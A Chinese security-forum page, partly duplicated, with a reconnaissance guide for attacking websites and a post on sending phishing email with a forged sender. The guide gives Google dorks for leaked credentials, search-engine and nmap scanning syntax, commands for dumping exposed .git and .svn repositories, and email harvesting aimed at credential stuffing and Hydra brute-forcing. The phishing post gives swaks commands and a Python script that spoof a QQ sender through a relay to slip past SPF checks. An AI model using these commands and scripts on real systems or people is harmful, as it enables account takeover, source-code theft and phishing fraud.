0X04:互联网信息收集(1)google和GitHub使用谷歌关键字。例如搜索site:github.com secevery.com搜索目标公司程序员上传到GitHub上的代码和敏感信息,可能泄露如数据库连接信息、邮箱密码、uc-key、阿里的osskey、甚至是网站源代码。


还可以site:GitHub.com svn(smtp等) @XX.com(user,password)等在后面添加限制脚本类型或者服务类型。intext:后台登录查询页面中含有后台管理的网站,这里还可以利用site:语句(下同)指定查找的网站(包含子域名)中页面含有后台登录的站点


intitle:管理登录  查找网站标题中存在管理登录的页面


filetype: pdf查找网站中pdf格式的文件,也可以搜索网站sql或者压缩包等文件inurl:  php?id=查找url中带有php?id=的网站filetype:php  site:secevery.com查找secevery中的PHP文件


(2)shodan搜索引擎shodan网络搜索引擎偏向网络设备(摄像头、路由器)以及服务器(端口、开启服务、服务器平台版本)的探测,具体内容可上网查阅,这里给出它的高级搜索语法。https://www.shodan.io/


可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法hostname:  搜索指定的主机或域名,例如 hostname:”google”port:  搜索指定的端口或服务,例如 port:”21”country:  搜索指定的国家,例如 country:”CN”city:  搜索指定的城市,例如 city:”NanYang”org:  搜索指定的组织或公司,例如 org:”google”isp:  搜索指定的ISP供应商,例如 isp:”China Telecom”product:  搜索指定的操作系统/软件/平台,例如 product:”Apache httpd”version:  搜索指定的软件版本,例如 version:”1.6.2”geo:  搜索指定的地理位置,例如 geo:”31.8639, 117.2808”before/after:  搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:”11-11-15”net:  搜索指定的IP地址或子网,例如 net:”210.45.240.0/24”  (3)censys搜索引擎censys搜索引擎功能与shodan类似,偏向网络设备和服务器的信息探测。地址:https://www.censys.io/


搜索语法默认情况下censys支持全文检索。23.0.0.0/8 or 8.8.8.0/24  可以使用and or not80.http.get.status_code: 200  指定状态80.http.get.status_code:[200 TO 300]  200-300之间的状态码location.country_code: DE  国家protocols: (“23/telnet” or “21/ftp”)  协议tags: scada  标签80.http.get.headers.server:nginx  服务器类型版本autonomous_system.description: University  系统描述    (4)FoFa搜索引擎FoFa搜索引擎偏向资产搜索。http://fofa.so


搜索语法直接输入查询语句,将从标题,html内容,http头信息,url字段中搜索title="abc" 从标题中搜索abc。header="abc" 从http头中搜索abc。body="abc" 从html正文中搜索abc。domain="secevery.com" 搜索根域名带有secevery.com的网站。host=".gov.cn" 从url中搜索.gov.cn,注意搜索要用host作为名称。port="443" 查找对应443端口的资产。ip="1.1.1.1" 从ip中搜索包含1.1.1.1的网站,注意搜索要用ip作为名称。 如果想要查询网段,可以是:ip="192.168.111.1/24",protocol="https" 搜索制定协议类型(在开启端口扫描的情况下有效)。city="Beijing" 搜索指定城市的资产。region="Henan" 搜索指定行政区的资产。country="CN" 搜索指定国家(编码)的资产。cert="google.com" 搜索证书(https或者imaps等)中带有google.com的资产。banner=users && protocol=ftp 搜索FTP协议中带有users文本的资产。type=service 搜索所有协议资产,支持subdomain和service两种。os=windows 搜索Windows资产。例: 搜索Windows资产server=="Microsoft-IIS/7.5" 搜索IIS 7.5服务器。例: 搜索IIS 7.5服务器app="海康威视-视频监控" 搜索海康威视设备,更多app规则。例: 搜索海康威视设备after="2017" && before="2017-10-01" 时间范围段搜索。例: 时间范围段搜索高级搜索:可以使用括号 和 && || !=等符号,如title="powered by" && title!=discuztitle!="powered by" && body=discuz( body="content=\"WordPress" || (header="X-Pingback" && header="/xmlrpc.php" && body="/wp-includes/") ) && host="gov.cn" 新增==完全匹配的符号,可以加快搜索速度,比如查找qq.com所有host,可以是domain=="qq.com"(5)钟馗之眼(Zoomeye) 钟馗之眼搜索引擎偏向web应用层面的搜索。地址:https://www.zoomeye.org/


搜索语法app:nginx  组件名ver:1.0  版本os:windows  操作系统country:”China”  国家city:”hangzhou”  城市port:80  端口hostname:google  主机名site:thief.one  网站域名desc:nmask  描述keywords:nmask’blog  关键词service:ftp  服务类型ip:8.8.8.8  ip地址cidr:8.8.8.8/24  ip地址段(6)邮箱收集
--首先确定邮件服务器本身有没有什么错误配置,没有禁用VRFY或EXPN命令导致的用户信息泄露,如果有可以直接把目标的邮件用户都爆出来,也可以尝试弱口令。




--收集目标的各类webmail入口。
找目标的各种webmail入口,不一定有,但这也是为了后面一旦拿到密码尝试撞库的手段,如果用的是某种开源WEB邮件程序,也可以尝试找对应版本的exp。
--提取whois邮箱去搜索引擎搜索,拿到旧密码可以去社工库去撞库。
--直接从目标站点查找邮箱。一般的网站都有的"联系我们"之类的链接或许就是邮箱,当然如果是[email]support@target.com[/email]或者[email]info@target.com[/email]这种邮箱直接忽略,我们需要有互动的邮箱,拿到后都试一试撞一撞库和搜索引擎跑一跑。




---利用各种工具直接抓取目标邮箱
theharvester:一个比较老的邮箱抓取脚本,主要是从各种搜索引擎抓取邮箱,抓取后的文档杂乱需要自己筛选分析。
https://github.com/laramies/theHarvester下载或者Kali直接运行。
-d 参数指定目标域
-l 参数指定数量
-b 参数指定端口
-s 指定起始数值




TheHarvester+Hydra可以大量扫描弱口令账户。
也可以使用metasploit的 auxiliary/gather/search_email_collector 模块:
 
msfconsole打开MSF控制台,输入use auxiliary/gather/search_email_collector,然后set domain XXmail.com设置目标邮件网站,然后show options显示搜索来源,exploit





目前使用菜单内的google选项去搜索邮箱需要翻墙,直接用如图。

两种方法都可以将结果保存为文件然后使用hydra爆破。
(7)历史漏洞信息
虽然乌云关了但是镜像上面还有大量企业漏洞信息,此外CNVD,seebug等平台
也能查找一些企业历史漏洞信息。




 
0X05:人力资源情报收集
(1)招聘信息
用google从招聘网站找到信息再去查找企业信息








通过招聘信息我们找到了公司全称和负责人构成和邮箱电话等信息。
通过这些信息可以与前面的WHOIS反查结合。
 
社会工程学方面的知识太繁杂就先不讨论了。
参考:
https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/
https://www.secpulse.com/archives/74312.html
https://www.freebuf.com/articles/web/190403.html
http://www.davex.pw/2016/07/01/How-To-Fuzz-Sub-Domain/
https://www.freebuf.com/articles/web/179043.html
https://cloud.tencent.com/developer/article/1180157
https://klionsec.github.io/2014/12/22/email-collector/
https://www.secpulse.com/archives/69237.html
https://yq.aliyun.com/articles/366927
https://www.secpulse.com/archives/29475.html
http://www.lijiejie.com/ds_store_exp_ds_store_file_disclosure_exploit/
https://zhuanlan.zhihu.com/p/22161675
https://zhuanlan.zhihu.com/p/22407076
https://www.jianshu.com/p/d2af08e6f8fb
https://blog.csdn.net/zvall/article/details/50115815 查看全部
前言:
信息收集分类:

1、主动式信息搜集(可获取到的信息较多,但易被目标发现)
2、通过直接发起与被测目标网络之间的互动来获取相关信息,如通过Nmap扫描目标系统。
3、被动式信息搜集(搜集到的信息较少,但不易被发现,如通过搜索引擎搜索)
4、通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。

搜集什么信息


1、whois信息
2、网站架构(语言、中间件、数据库、平台)
3、dns信息(通过查询dns可以检测是否存在dns域传送和域行走)
4、子域名搜集(搜索引擎和工具以及漏洞)
5、敏感目录及敏感信息、源码泄露(搜索引擎+工具、GitHub等)
6、系统漏洞(系统版本漏洞是否修补)
7、旁站查询(通过IP反查)
8、C端查询(确认大公司或组织网段内子站)
9、指纹信息(框架探测)
10、端口服务
11、备案信息(whois反查、)
12、真实ip(绕过CDN)
13、探测waf(后续可确定Bypass方式)
14、社工(朋友圈、微博、qq空间、求职、交易等社交平台)
15、企业信息(天眼查、企业信用信息公示系统、工业和信息化部ICP/IP地址/域名信息备案管理系统)


信息搜集的流程
上面我已经列举了需要搜集的信息,然后我给它们分了一下类。
我考虑到一个网站的组成是由域名、服务器、网站程序组成的。
因此:


首先入手域名方面:whois、子域名、备案信息;
其次是入手服务器方面:dns信息、端口服务、真实ip;
然后入手网站程序(web层)方面:网站架构、敏感目录及敏感信息、源码泄露(搜索引擎+工具)、脆弱系统(网络空间)、旁站查询、C端查询、指纹信息、探测waf;
最后入手企业方面:天眼查、企业信用信息公示系统


 
0x00:IP发现
  • 1.IP反查域名(查询旁站)
如果你的渗透目标网站是一台虚拟主机,那么通过IP反查到的域名信息往往很有价值, 因为一台物理服务器上面可能运行多个虚拟主机,这些虚拟主机具有不同的域名,但通常共用一个IP地址。如果你知道有哪些网站共用这台服务器,就有可能通过此台服务器上其他网站的漏洞获取服务器控制权,进而迂回获取渗透目标的权限,这种技术也称为“旁注”。
IP反查域名1.png
站点和工具:
 
  • 2.域名查询IP
知道一个站点的域名需要得到它的IP以便之后获取端口信息或扫描等后续工作。
域名查IP信息.png
站点和工具:
注:判断是否目标使用CDN(1).ping 目标主域,观察域名的解析情况,以此来判断是否使用了 CDN;(2).利用在线网站 17CE,进行全国多地区的 ping 服务器操作,然后对比每个地区 ping 出的 IP 结果,查看这些 IP 是否一致,如果都是一样的,极有可能不存在 CDN。如果 IP 大多不太一样或者规律性很强,可是尝试查询这些 IP 的归属地,判断是都存在 IP。在确认目标用了 CDN 的情况下:
  • 内部邮箱源(让服务器给你发邮件看邮件头IP)(最可靠)
  • 通过zmpap全网爆破查询真实IP(可靠)
  • 扫描网站测试文件
  • 分站域名(根据收集分站查看产生交互最多的站)
  • 国外访问(App Synthetic Monitor)
  • 查询域名解析记录(NETCRAFT)(查询域名历史IP)
  • 如果网站有 App,抓 App 的请求
  • 绕过 CloudFlare CDN 查找真实 IP(CloudFlareWatch)
   
  • 3.IP WHOIS查询
IP WHOIS就是查询IP的详细信息的数据库(如IP使用人和IP使用人的相关信息等)。
IP_WHOIS查询1.png
 
  •  4.C端存活主机探测
C段主机探测.png
也可以使用Nmap扫描:
Nmap: nmap -sP www.XXX.com/24 ||  nmap -sP 192.168.1.*
  • 5.C段常见端口探测
  • (1)最笨的方法:C段导入到文件,nmap扫描。
-iL参数:扫描文件中列出的所有IP地址。nmap -iL ip.txt。配合其他自定义限制条件扫描。
  • (2)其他工具
神器masscan: https://github.com/robertdavidgraham/masscan
  • Masscan安装和使用:
http://zone.secevery.com/article/1098
  •  
  0x01:域名发现
  • 1.子域名发现
开始渗透一个网站前,需要知道网站的网络资产:域名、IP等,而IP和域名有着直接的解析关系,所以如何找到网站所有子域名是关键。
  • (1)DNS枚举(根据字典爆破)
域名可以通过收集常用域名字典,去DNS服务商查询是否有解析记录来枚举子域名。很多工具都是通过预定义的字典枚举:如Lay子域名挖掘机,subbrute等。
DNS暴力枚举.png
DNS服务商的字典是最准确有效的,先找到一份DNSPod公布的使用最多的子域名:dnspod-top2000-sub-domains.txt//GitHub上的
  • (2)自身泄露
可通过https://github.com/FeeiCN/WebProxy代理电脑所有流量,从流量中搜索出现交互的子域名,如域名跳转、Response、网络请求中的子域名。缺点:麻烦且没产生交互的子域名无法探测,略鸡肋。
 
  • (3)搜索引擎
使用百度,bing,Google等搜索引擎,可通过site关键字查询所有收录该域名的记录,子域名权重较高会排在前面。具体规则网上很多,可参考: https://zhuanlan.zhihu.com/p/22161675https://www.freebuf.com/articles/network/169601.html具体使用:以 secevery 为例,可以通过搜索 site:secevery.com 来得到指定的网站内容。
googlehacking2.png
  • (4)第三方查询
--有许多拥有大量 DNS 数据集的第三方服务,可通过他们来检索给定域的子域。如VirusTotal,dnsdumpser
VirusTotal.png
脚本工具Sublist3r( https://github.com/aboul3la/Sublist3r) 使用各种资源来枚举子域。通过诸如 Google,Yahoo,Bing,百度和 Ask 等许多搜索引擎来枚举。Sublist3r 还使用 Netcraft,Virustotal,ThreatCrowd,DNSdumpster 和 ReverseDNS 等第三方服务来枚举子域。缺点:信息多很繁杂且有错误,许多站已经关闭,内容需要筛选。
  • (5)crossdomain.xml
利用跨域策略文件,以 http://www.sina.com.cn/crossdomain.xml为例:
crossxml.png
  • (6)Google HTTPS证书信息
Google透明度报告中的证书透明度项目是用来解决HTTPS证书系统的结构性缺陷,它能够让所有人查询各个网站的HTTPS证书信息,从而能发现签发了证书的子域名。利用SSL证书的注册登记发现子域名。
SSL证书.png
使用收集 CT(Certificate Transparency)日志的搜索引擎,是发现某个域证书最简单的方法。以下是一些流行的搜索引擎:
可以结合Masscan# ct.py - extracts domain names from CT Logs(shippedwith massdns) # massdns - will find resolvable domains & adds them to a file./ct.py icann.org | ./bin/massdns -r resolvers.txt -tA -q -a -o -w icann_resolvable_domains.txt -//读取文件里面的CT信息搜索还可以直接通过本地证书:大厂的SSL证书一般都是一证多用,根据这个特性,可以得到一些子域名.eg:
证书.png
SSL本地证书.png
使用SSL证书缺点很明显,没有注册SSL证书的子域名无法查到。 
  • (7)自治系统编号(ASN)
使用dig或host来解析指定域的IP地址(可以得到IP所在组织的IP域范围)。使用IP查找ASN号码:https://asn.cymru.com/cgi-bin/whois.cgi
IP查询ASN.png
也可以使用域名查询ASN号码:https://bgp.he.net/
域名查询ASN.png
找到的ASN号码可用于查找域的网络块。使用Nmap脚本可以实现使用ASN号码来查找域的网络块。$ nmap --script targets-asn --script-args targets-asn.asn=XXXX
NmapASN查询域.png
  • (8)利用域传送漏洞
因为对DNS服务器配置不当,导致任意IP都可以直接向DNS服务器请求数据,从而导致该域名的所有子域名暴露,可以写脚本也可以通过网站查询DNS。
DNS域传送获取子域名.png
域传送漏洞漏洞很老旧不常见。kali下检测:root@kali:~# dig +short @8.8.8.8 secevery.com ns
得到了目标ns服务器,接下来使用目标ns服务器尝试传送dig @dns24.hichina.com secevery.com axfr发现Transfer failed失败即不存在漏洞。Kali下dns子域探测工具:dnsmap,dnsenum,fierce。也可以Windows下nslookup查询:
nslookup确认.png
  • (9) FDNS(forward DNS,DNS转发)
FDNS数据集作为 Project Sonar 的一部分发布。这些数据是通过提取来自多个源的域名并且给每个域发送 ANY 请求来收集的。这些数据是 gzip 格式的 json 文件。我们可以解析数据集来查找给定域的子域。数据集是很大的(压缩后约 20 + GB,未压缩约有 300 + GB)。# Command to parse& extract sub-domains for a given domain$ curl -silent https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz | pigz -dc | grep “.icann.org” | jqFDNS能搜索到的子域名比爆破和CT查询和存在域传送加起来都多。但文件过大使用起来很费事。
子域名发现多少.jpg
  • (10)zone walking(NSEC)区域行走
DNSSEC协议的一个重要功能是能根据"DNS中的已验证拒绝存在"权威的断言给定域名不存在,但它允许区域行走,可以从一个域到另一个域。协议这样写->https://tools.ietf.org/rfc/rfc7129.txt现在主流的NSEC3协议是NSEC协议的替代,但是仍然有很多域在使用NSEC。使用ldns-walk工具来检测使用NSEC域名TLD列表 http://data.iana.org/TLD/tlds-alpha-by-domain.txt安装之后$ ldns-walk domainname即可使用//linux下安装使用。wget https://www.nlnetlabs.nl/downloads/ldns/ldns-1.7.0.tar.gz 除了这些还有如网络深度爬虫等方法能探测子域名。
  • 2.关联域名发现
  • (1)注册人和邮箱反查域名
先whois获取注册人和邮箱,再通过注册人和邮箱反查域名。
注册人和邮箱反查域名.png
缺点很明显:除了大厂之外很多公司都是DNS解析的运营商注册的,查到的是运营商代替个人和小公司注册的网站信息。
  • (2)相似域名查询
根据目标公司名称来查找可能是目标资产的相似域名。
相似域名查询.png
 0X02:端口信息探测
  • 1、快速判断端口是否开启:
a、http://coolaf.com/tool/port使用方式:        直接输入要测试的域名,然后指定要测试的端口。        不过每次只能指定50个端口。
端口信息.png
b、https://tool.lu/portscan/index.html    跟上一个工具差不多都一样,只不过每次能测试100个端口。使用方式也一样。
端口信息2.png
c、http://www.matools.com/port    没有说明端口限制,并且会显示端口的服务。只是每次扫描的时候,需要输入验证码。 
  • 2、对服务器的信息进行详细的收集:
主机发现,生成存活主机列表:nmap -sn -T4 -oG Discovery.gnmap  192.168.10.0/24grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt 端口发现,发现全部端口:nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt        #一般选用这个,因为速度比较快。nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt 发现大部分常用的端口:nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txtnmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txtnmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt 系统和服务检测:nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt 系统扫描:nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txtnmap -O --osscan-guess 192.168.1.134     服务版本侦测:nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txtNmap命令详见: http://zone.secevery.com/article/245
  • 0X03:网站信息收集
  • 1、指纹识别
代码框架识别、中间件、CMS识别:     https://www.whatweb.net/     能得到的目标网站的    IP、中间件类型以及版本、语言环境(带版本)
whatweb.png
    http://www.yunsee.cn/finger.html    只能判断出一种语言环境,代码框架、中间件的版本信息。
yunsee.png
    http://whatweb.bugscaner.com/look/    代码框架、web框架为ASP.NET、语言为PHP、中间件为IIS6.0   除此之外还有一些额外的信息:同ip网站CMS查询、icp备案查询、whois查询、网站地址、服务器的操作系统、子域名查询、网站CDN服务商查询、CDN缓存命中查询。    信息还是挺多的。与上边两个相比,我更倾向于选择第三个网站,云悉的信息那么少,大概是没有登陆的缘故吧。它的账号是要购买的。
1.png
2.png
3.png
  • 2、waf识别:
    wafw00f    一个识别waf的很成熟的工具,使用方式也很简单。        github项目地址:https://github.com/EnableSecurity/wafw00f        kali上自带wafw00f,一条命令直接使用。建议最好在kali下使用,windows下的使用很麻烦。
wafw00f.png
    nmap的扩展脚本,众所周知,nmap是一个端口扫描工具。但是它额外有的扩展模块,使得它具有了识别和绕过waf的能力。
nmap.png
  • 2、敏感路径探测
  • 1、Git源码泄露
    成因及危害:当前大量开发人员使用git进行版本控制,对网站进行自动部署。如果配置不当,可能会将.git文件部署到线上环境,这就引起了git泄露漏洞。在网站安全维护方面,git和svn信息泄露,是非常常见也是非常致命的漏洞。会导致整个网站的源码泄露。    漏洞检测:        批量寻找:".git" intitle:"index of"
.git文件泄露_.png
    对单个网站进行检测:         a、githack,github上的地址:https://github.com/lijiejie/GitHack           使用方法:python GitHack.py http://xxx.com/.git/           这个直接就可以获取到网站的源码和图片该工具建议在有git工具的linux环境下使用,我在                   windows10环境下使用的时候,会报Error 10060和Error 183
.git文件泄露1_.png
.git文件泄露2_.png
手工验证的方法,如下。在kali linux下,        wget --mirror --include-directories=/.git http://www.xxx.com/.git        cd www.xxx.com    www.xxx.com文件夹是自动创建的。        git reset --hard后续学习:https://blog.csdn.net/qq_36869808/article/details/88909961     
  • 2、SVN源码泄露
    介绍:跟git一样,都是用来版本迭代的一个功能。具体一点就是使用svn checkout功能来更新代码。    产生原因以及危害:没有配置好目录访问权限,从而导致该漏洞被人利用,整个网站的源码泄露。    批量寻找:".svn" intitle:"index of"    利用工具及过程:        工具:svnExploit        github地址:https://github.com/admintony/svnExploit        利用过程:            a、判断.svn的版本信息
1---小于1.7的_.png
2---大于1.7的_.png
前者版本小于1.7,后者版本大于1.7    版本小于1.7的:        python2 SvnExploit.py -u https://xxx.com/.svn    查看信息,把泄露的文件列出来。        python2 SvnExploit.py -u https://xxx.com/.svn --dump    将网站的源码下载下来。
3---小于1.7svn利用_.png
4---小于1.7svn利用_.png
    版本大于1.7的,        1、列出所有的文件。        2、把所有的文件dump下来。
3---小于1.7svn利用_.png
6---.png
    后续钻研:https://www.cnblogs.com/batsing/p/svn-bug.html 
  • 3、网站文件备份
    直接扫目录就可以得到,工具:7kbscan、御剑都可以。
网站源码泄露.png
  • 0X04:互联网信息收集
  • (1)google和GitHub
使用谷歌关键字。例如搜索site:github.com secevery.com搜索目标公司程序员上传到GitHub上的代码和敏感信息,可能泄露如数据库连接信息、邮箱密码、uc-key、阿里的osskey、甚至是网站源代码。
GitHub搜索.png
还可以site:GitHub.com svn(smtp等) @XX.com(user,password)等在后面添加限制脚本类型或者服务类型。
  • intext:后台登录
查询页面中含有后台管理的网站,这里还可以利用site:语句(下同)指定查找的网站(包含子域名)中页面含有后台登录的站点
后台登录.png
  • intitle:管理登录  
查找网站标题中存在管理登录的页面
管理登录.png
  • filetype: pdf
查找网站中pdf格式的文件,也可以搜索网站sql或者压缩包等文件
  • inurl:  php?id=
查找url中带有php?id=的网站
  • filetype:php  site:secevery.com查找secevery中的PHP文件
类型限制.png
  • (2)shodan搜索引擎
shodan网络搜索引擎偏向网络设备(摄像头、路由器)以及服务器(端口、开启服务、服务器平台版本)的探测,具体内容可上网查阅,这里给出它的高级搜索语法。https://www.shodan.io/
路由探测.png
可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法
可以直接搜索到站点IP开启的端口、服务器版本及平台、开启服务、地理位置等搜索语法
  • hostname:  搜索指定的主机或域名,例如 hostname:”google”
  • port:  搜索指定的端口或服务,例如 port:”21”
  • country:  搜索指定的国家,例如 country:”CN”
  • city:  搜索指定的城市,例如 city:”NanYang”
  • org:  搜索指定的组织或公司,例如 org:”google”
  • isp:  搜索指定的ISP供应商,例如 isp:”China Telecom”
  • product:  搜索指定的操作系统/软件/平台,例如 product:”Apache httpd”
  • version:  搜索指定的软件版本,例如 version:”1.6.2”
  • geo:  搜索指定的地理位置,例如 geo:”31.8639, 117.2808”
  • before/after:  搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:”11-11-15”
  • net:  搜索指定的IP地址或子网,例如 net:”210.45.240.0/24”
  
  • (3)censys搜索引擎
censys搜索引擎功能与shodan类似,偏向网络设备和服务器的信息探测。地址:https://www.censys.io/
服务器信息探测.png
搜索语法默认情况下censys支持全文检索。
  • 23.0.0.0/8 or 8.8.8.0/24  可以使用and or not
  • 80.http.get.status_code: 200  指定状态
  • 80.http.get.status_code:[200 TO 300]  200-300之间的状态码
  • location.country_code: DE  国家
  • protocols: (“23/telnet” or “21/ftp”)  协议
  • tags: scada  标签
  • 80.http.get.headers.server:nginx  服务器类型版本
  • autonomous_system.description: University  系统描述
    
  • (4)FoFa搜索引擎
FoFa搜索引擎偏向资产搜索。http://fofa.so
Image.png
搜索语法直接输入查询语句,将从标题,html内容,http头信息,url字段中搜索
  • title="abc" 从标题中搜索abc。
  • header="abc" 从http头中搜索abc。
  • body="abc" 从html正文中搜索abc。
  • domain="secevery.com" 搜索根域名带有secevery.com的网站。
  • host=".gov.cn" 从url中搜索.gov.cn,注意搜索要用host作为名称。
  • port="443" 查找对应443端口的资产。
  • ip="1.1.1.1" 从ip中搜索包含1.1.1.1的网站,注意搜索要用ip作为名称。 如果想要查询网段,可以是:ip="192.168.111.1/24",
  • protocol="https" 搜索制定协议类型(在开启端口扫描的情况下有效)。
  • city="Beijing" 搜索指定城市的资产。
  • region="Henan" 搜索指定行政区的资产。
  • country="CN" 搜索指定国家(编码)的资产。
  • cert="google.com" 搜索证书(https或者imaps等)中带有google.com的资产。
  • banner=users && protocol=ftp 搜索FTP协议中带有users文本的资产。
  • type=service 搜索所有协议资产,支持subdomain和service两种。
  • os=windows 搜索Windows资产。例: 搜索Windows资产
  • server=="Microsoft-IIS/7.5" 搜索IIS 7.5服务器。例: 搜索IIS 7.5服务器
  • app="海康威视-视频监控" 搜索海康威视设备,更多app规则。例: 搜索海康威视设备
  • after="2017" && before="2017-10-01" 时间范围段搜索。例: 时间范围段搜索
  • 高级搜索:可以使用括号 和 && || !=等符号,如
  • title="powered by" && title!=discuz
  • title!="powered by" && body=discuz
  • ( body="content=\"WordPress" || (header="X-Pingback" && header="/xmlrpc.php" && body="/wp-includes/") ) && host="gov.cn" 
  • 新增==完全匹配的符号,可以加快搜索速度,比如查找qq.com所有host,可以是domain=="qq.com"
  • (5)钟馗之眼(Zoomeye)
 钟馗之眼搜索引擎偏向web应用层面的搜索。地址:https://www.zoomeye.org/
Image.png
搜索语法
  • app:nginx  组件名
  • ver:1.0  版本
  • os:windows  操作系统
  • country:”China”  国家
  • city:”hangzhou”  城市
  • port:80  端口
  • hostname:google  主机名
  • site:thief.one  网站域名
  • desc:nmask  描述
  • keywords:nmask’blog  关键词
  • service:ftp  服务类型
  • ip:8.8.8.8  ip地址
  • cidr:8.8.8.8/24  ip地址段
  • (6)邮箱收集

--首先确定邮件服务器本身有没有什么错误配置,没有禁用VRFY或EXPN命令导致的用户信息泄露,如果有可以直接把目标的邮件用户都爆出来,也可以尝试弱口令。
第一手邮箱.png

--收集目标的各类webmail入口。
找目标的各种webmail入口,不一定有,但这也是为了后面一旦拿到密码尝试撞库的手段,如果用的是某种开源WEB邮件程序,也可以尝试找对应版本的exp。
--提取whois邮箱去搜索引擎搜索,拿到旧密码可以去社工库去撞库。
--直接从目标站点查找邮箱。一般的网站都有的"联系我们"之类的链接或许就是邮箱,当然如果是[email]support@target.com[/email]或者[email]info@target.com[/email]这种邮箱直接忽略,我们需要有互动的邮箱,拿到后都试一试撞一撞库和搜索引擎跑一跑。
邮箱3.png

---利用各种工具直接抓取目标邮箱
theharvester:一个比较老的邮箱抓取脚本,主要是从各种搜索引擎抓取邮箱,抓取后的文档杂乱需要自己筛选分析。
https://github.com/laramies/theHarvester下载或者Kali直接运行。
-d 参数指定目标域
-l 参数指定数量
-b 参数指定端口
-s 指定起始数值
theharvester收集邮箱.png

TheHarvester+Hydra可以大量扫描弱口令账户。
也可以使用metasploit的 auxiliary/gather/search_email_collector 模块:

 
msfconsole打开MSF控制台,输入use auxiliary/gather/search_email_collector,然后set domain XXmail.com设置目标邮件网站,然后show options显示搜索来源,exploit

MSF搜索邮箱.png

目前使用菜单内的google选项去搜索邮箱需要翻墙,直接用如图。

两种方法都可以将结果保存为文件然后使用hydra爆破。
(7)历史漏洞信息
虽然乌云关了但是镜像上面还有大量企业漏洞信息,此外CNVD,seebug等平台
也能查找一些企业历史漏洞信息。
乌云镜像.png

 
0X05:人力资源情报收集
(1)招聘信息
用google从招聘网站找到信息再去查找企业信息
招聘信息收集1.png

招聘信息收集2.png

通过招聘信息我们找到了公司全称和负责人构成和邮箱电话等信息。
通过这些信息可以与前面的WHOIS反查结合。
 
社会工程学方面的知识太繁杂就先不讨论了。
参考:
https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/
https://www.secpulse.com/archives/74312.html
https://www.freebuf.com/articles/web/190403.html
http://www.davex.pw/2016/07/01/How-To-Fuzz-Sub-Domain/
https://www.freebuf.com/articles/web/179043.html
https://cloud.tencent.com/developer/article/1180157
https://klionsec.github.io/2014/12/22/email-collector/
https://www.secpulse.com/archives/69237.html
https://yq.aliyun.com/articles/366927
https://www.secpulse.com/archives/29475.html
http://www.lijiejie.com/ds_store_exp_ds_store_file_disclosure_exploit/
https://zhuanlan.zhihu.com/p/22161675
https://zhuanlan.zhihu.com/p/22407076
https://www.jianshu.com/p/d2af08e6f8fb
https://blog.csdn.net/zvall/article/details/50115815

通过Email伪造发件人进行钓鱼攻击(二)

wuyou 发表了文章 • 2 个评论 • 102 次浏览 • 2019-07-24 15:56 • 来自相关话题

钓鱼邮件的研究终于又取得了一点点的进展,这次可以绕过SPF记录的检测了
 
邮件托管平台
网上的邮件托管平台有很多,这里介绍两种:smtp2go 和 SendCloud
地址如下:
Smtp2go       (速度慢但免费发送量大)
SendCloud  (速度快但免费发送量少)
 
这里以Smtp2go为例介绍如何使用
注册好后可以免费发送1000封邮件




 
同时注意要保存用户名和密码
(SendCloud中的用户名和密码为 API_USER和API_KEY)




 
然后在这里填入一个你可以修改DNS的域名进行验证(SendCloud自带一个随机生成的域名,不需要用自己的进行验证)





之后就可以使用smtp2go的SMTP服务器进行代发邮件了 swaks -t xxx@qq.com -f xx@163.com --server mail.smtp2go.com -p 25 -au <user> -ap <pwd> --ehlo qq.com --header "Subject:垂钓之法" --body "孤舟蓑笠翁,独钓寒江雪"
使用其他一些参数可以帮助我们更好的绕过SPF的检查:swaks -t xxx@qq.com -f xx@smtp2go.com --server mail.smtp2go.com -p 25 -au <user> -ap <pwd> --ehlo qq.com --header "Subject:垂钓之法" --body "孤舟蓑笠翁,独钓寒江雪" --header-X-Mailer qq.com --header-From: "zksmile <xx@qq.com>"

但是使用swaks还是无法绕过全部的反垃圾机制
所以还是使用Python进行发送效果会好些,也可以根据实际需要对代码进行修改 
Python SMTP发送邮件#!/usr/bin/python
# -*- coding: utf-8 -*-
import smtplib
from email.header import Header
from email.mime.text import MIMEText

#sendcloud:mail_host="smtpcloud.sohu.com"
mail_host="mail.smtp2go.com"
mail_user="xx"
mail_pass="xxxxx"

sender = "zksmile <xx@qq.com>"
#发送者
receivers = "wuyou <xx@qq.com>"
#接受者
subject = "垂钓之法"
#邮件标题

message = MIMEText("孤舟蓑笠英,独钓寒江雪", "plain", "utf-8")
message["From"] = Header(sender ,"utf-8")
message["To"] = Header(receivers ,"utf-8")
message["Subject"] = Header(subject, "utf-8")
message["X-Mailer"] = Header("qq.com", "utf-8")

try:
smtpObj = smtplib.SMTP()
smtpObj.connect(mail_host, 25)
smtpObj.login(mail_user,mail_pass)
smtpObj.sendmail(sender, receivers, message.as_string())
print "Success"
except smtplib.SMTPException:
print "Error"伪造QQ邮箱发送至QQ邮箱:




 
伪造其他邮箱发送至QQ邮箱:




 
虽说现在可以初步将钓鱼邮件成功发送至目标邮箱了,但目前还是存在很多的问题
如qq邮箱在地址验证失败时不会在邮件列表中把发件人显示出来




 
还有代发暂时无法隐藏




 
虽说看了很多文章,知道代发是有可能绕过的,但我暂时仍没有一个很好的解决办法
所以说在第三篇我会继续在把钓鱼邮件技术进行改进

  查看全部
钓鱼邮件的研究终于又取得了一点点的进展,这次可以绕过SPF记录的检测了
 
邮件托管平台
